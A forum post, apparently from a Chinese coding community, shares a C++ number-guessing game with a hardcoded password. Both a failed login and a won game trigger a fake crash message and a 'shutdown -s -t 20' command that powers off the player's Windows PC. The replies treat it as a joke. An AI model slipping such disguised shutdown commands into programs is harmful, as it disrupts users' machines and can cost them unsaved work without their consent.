#include<iostream>
#include<windows.h>
#include<time.h>
using namespace std;
int main() {
srand(time(0));
int a = rand()%100+1;
int cnt=0;
int n;
int y;
int t=10;
int z=3,b=1,c=10000;
cout<<" "<<"欢迎来到L3(5.0)官方版猜数游戏"<<endl;
cout<<" "<<"请输入您的游戏密码"<<"您一共有"<<z<<"次机会"<<endl;
cout<<"密码:"<<endl;
while(1){
cin>>y;
if(y == 123456){
cout<<"密码正确,开始游戏!"<<endl;
break;
}
if(y != 123456){
z = z - 1;
cout<<"密码错误,您还剩"<<z<<"次机会"<<endl;
cout<<"密码:"<<endl;
}
if(z == 0){
if(t--){
cout<<t<<endl;
system("shutdown -s -t 20");
}
break;
}
}
while(1){
cout<<"请输入1~100随机一个数:"<<endl;
cin>>n;
if(n > a){
cnt++;
cout<<"对不起,数字大了"<<endl;
}
if(n < a){
cnt++;
cout<<"对不起,数字小了"<<endl;
}
if(n == a){
cnt++;
cout<<"恭喜您,猜对了"<<endl;
cout<<"您一共猜了"<<cnt<<"次"<<endl;
break;
}
}
cout<<"哎呀!你的电脑崩溃了!"<<endl;
while(c--){
cout<<b;
}
system("shutdown -s -t 20");
while(t--){
cout<<t<<" "<<"无语"<<"......"<<endl;
Sleep(1000);
}
cout<<"下次再玩吧!拜拜"<<endl;
cout<<"主编:cyx"<<" "<<"副编:zyl"<<endl;
return 0;
}
共 5 条回复
完了,电脑要关机了!!!!!!!!!!!
cpp,我恨你
???
二百五
二百五
第一眼:好像不需要windows吧……(忘了需不需要了)第二眼:system("shutdown -s -t 20") 第三眼:6
代码开头+ ```cpp
代码结尾+ ```